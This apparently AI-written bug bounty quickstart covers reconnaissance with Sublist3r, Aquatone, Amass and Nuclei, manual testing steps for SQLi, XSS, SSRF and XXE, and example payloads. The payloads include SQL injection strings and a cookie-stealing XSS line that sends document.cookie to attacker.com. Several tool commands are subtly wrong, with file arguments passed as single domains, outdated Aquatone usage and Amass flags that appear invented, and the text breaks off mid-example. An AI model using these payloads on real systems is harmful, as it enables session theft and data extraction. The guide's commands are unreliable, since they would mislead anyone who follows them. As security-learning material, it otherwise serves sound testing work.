The Eye | Bug Bounty Quickstart Document

1. To enumerate subdomains for a list of domains and output this list, you can use a tool called Sublist3r. Here are the steps:

- Open Command Prompt (CMD) or Windows PowerShell on your Windows computer.
- Install Sublist3r by running the following command: `` `pip install sublist3r` ``
- Create a file with a list of domains you want to enumerate subdomains for, one domain per line. Save the file as `` `domains.txt` `` in a directory of your choice.
- Run Sublist3r with the following command: `` `python -m sublist3r -d domains.txt -o subdomains.txt` ``. This will output a list of subdomains for each domain in the `` `domains.txt` `` file and save them in a new file called `` `subdomains.txt` ``.

2. To run a tool to get screenshots of these pages and store them into a directory, you can use a tool called Aquatone. Here are the steps:

- Download Aquatone from https://github.com/michenriksen/aquatone/releases/latest and extract the ZIP file to a directory of your choice.
- Open Command Prompt or Windows PowerShell in the directory where you extracted Aquatone.
- Run the following command: `` `aquatone-discover -dL subdomains.txt` ``. This will discover all the live subdomains in the `` `subdomains.txt` `` file and save them in a new file called `` `aquatone_urls.txt` ``.
- Run the following command: `` `aquatone-scan -i aquatone_urls.txt -p large -o aquatone_output` ``. This will take screenshots of each live subdomain in the `` `aquatone_urls.txt` `` file using a large viewport size and save them in a new directory called `` `aquatone_output` ``.

3. To view all the screenshot thumbnails and manually delete pages which have no scope for testing, you can use a file explorer like Windows Explorer. Here are the steps:

- Open Windows Explorer and navigate to the `` `aquatone_output` `` directory.
- In the `` `aquatone_output` `` directory, you will see a thumbnail image for each subdomain that Aquatone took a screenshot of. Open each thumbnail image and examine the contents of the page to determine if it has any scope for testing.
- If a page has no scope for testing, delete its corresponding thumbnail image and screenshot image from the `` `aquatone_output` `` directory.

4. To refine the list into a finer list of subdomains that only have scope, you can use a tool called Amass. Here are the steps:

- Download Amass from https://github.com/OWASP/Amass/releases/latest and extract the ZIP file to a directory of your choice.
- Open Command Prompt or Windows PowerShell in the directory where you extracted Amass.
- Run the following command: `amass enum -passive -d subdomains.txt -o amass_output`. This will passively enumerate subdomains for each domain in the `subdomains.txt` file and save them in a new file called `amass_output`.
- Run the following command: `amass intel -filter -ip -src amass_output -o refined_subdomains.txt`. This will filter the subdomains in the `amass_output` file based on their IP addresses and save them in a new file called `refined_subdomains.txt`.

5. To input this list into Nuclei tool and get JSON output, excluding info level outputs, you can use the following steps:

- Download Nuclei from https://github.com/projectdiscovery/nuclei/releases/latest and extract the ZIP file to a directory of your choice.

- Open Command Prompt or Windows PowerShell in the directory where you extracted Nuclei.
- Download the Nuclei templates that you want to use for testing. You can find a list of templates at https://github.com/projectdiscovery/nuclei-templates.
- Copy the templates that you want to use into a new directory called `nuclei-templates`.
- Run the following command to test the subdomains in the `refined_subdomains.txt` file using the Nuclei tool and save the output in JSON format: `nuclei -l refined_subdomains.txt -t nuclei-templates -o nuclei_output.json -severity high,medium`. This will test each subdomain in the `refined_subdomains.txt` file using the Nuclei templates and save the output in a new file called `nuclei_output.json`. The `-severity` flag filters the output by severity level, excluding info level outputs.

1. Manually check SQLi:

- Open a web proxy tool like Burp Suite or OWASP ZAP on your Windows system.
- Configure your web browser to use the proxy tool to intercept requests and responses.
- Navigate to the target website in your web browser.
- Identify input fields or parameters that may be vulnerable to SQL injection, such as search boxes or login forms.
- Craft a specially crafted SQL query, such as a UNION SELECT statement, and inject it into the input field or parameter.
- Send the request and observe the response in the proxy tool's history or output window.
- Look for signs of SQL injection, such as error messages or unexpected output.
- Repeat this process for other input fields or parameters on the target website.

2. Manually check XSS:

- Open a web proxy tool like Burp Suite or OWASP ZAP on your Windows system.
- Configure your web browser to use the proxy tool to intercept requests and responses.
- Navigate to the target website in your web browser.
- Identify input fields or parameters that may be vulnerable to cross-site scripting, such as search boxes or contact forms.
- Craft a malicious script payload, such as a script tag with an alert() function call, and inject it into the input field or parameter.
- Send the request and observe the response in the proxy tool's history or output window.
- Look for signs of cross-site scripting, such as the payload being executed or the script tag being reflected back in the response.
- Repeat this process for other input fields or parameters on the target website.

3. Manually check SSRF:

- Open a web proxy tool like Burp Suite or OWASP ZAP on your Windows system.
- Configure your web browser to use the proxy tool to intercept requests and responses.
- Navigate to the target website in your web browser.
- Identify input fields or parameters that may be vulnerable to server-side request forgery, such as URL parameters or API endpoints.
- Craft a specially crafted request, such as a request to a local network resource or a public cloud service, and send it to the target application.
- Observe the response in the proxy tool's history or output window.
- Look for signs of SSRF, such as the request being executed and the response containing sensitive data or error messages.
- Repeat this process for other input fields or parameters on the target website.

4. Manually check XXE:

- Open a web proxy tool like Burp Suite or OWASP ZAP on your Windows system.
- Configure your web browser to use the proxy tool to intercept requests and responses.
- Navigate to the target website in your web browser.
- Identify input fields or parameters that may be vulnerable to XML external entity injection, such as XML request payloads or API endpoints.
- Craft a specially crafted XML request payload, such as a request with an external entity reference, and send it to the target application.
- Observe the response in the proxy tool's history or output window.
- Look for signs of XXE, such as the request being executed and the response containing sensitive data or error messages.
- Repeat this process for other input fields or parameters on the target website.

Crafting SQL and XSS payloads requires a good understanding of the underlying vulnerabilities and the context in which they occur. Here are some general tips on how to craft payloads for these vulnerabilities:

SQL Injection:

SQL injection occurs when an attacker is able to inject their own SQL code into a vulnerable input field or parameter in a web application. The goal is to manipulate the SQL query being executed by the application in order to extract or modify data.

Here are some examples of SQL injection payloads:

- UNION SELECT statement: This payload is used to join the results of two SQL queries into a single result set. The attacker can use this to extract data from a different table or column in the database. Example payload: ' UNION SELECT username, password FROM users --
- Boolean-based payload: This payload uses boolean logic to determine if a condition is true or false. The attacker can use this to infer information about the structure or contents of the database. Example payload: ' OR 1=1 --
- Time-based payload: This payload uses time delays to determine if a condition is true or false. The attacker can use this to infer information about the structure or contents of the database. Example payload: ' OR SLEEP(5) --

Cross-Site Scripting (XSS):

Cross-site scripting occurs when an attacker is able to inject malicious script code into a vulnerable input field or parameter in a web application. The goal is to execute the script in the context of the victim's browser, allowing the attacker to steal cookies, perform actions on behalf of the victim, or perform other malicious actions.

Here are some examples of XSS payloads:

- Simple alert payload: This payload simply displays an alert box with a message. Example payload: alert('XSS')
- Cookie-stealing payload: This payload sends the victim's cookies to a remote server controlled by the attacker. Example payload: document.location='http://attacker.com/cookie.php?cookie='+document.cookie;
- DOM-based payload: This payload modifies the page's Document Object Model (DOM) in order to execute the attack. Example payload: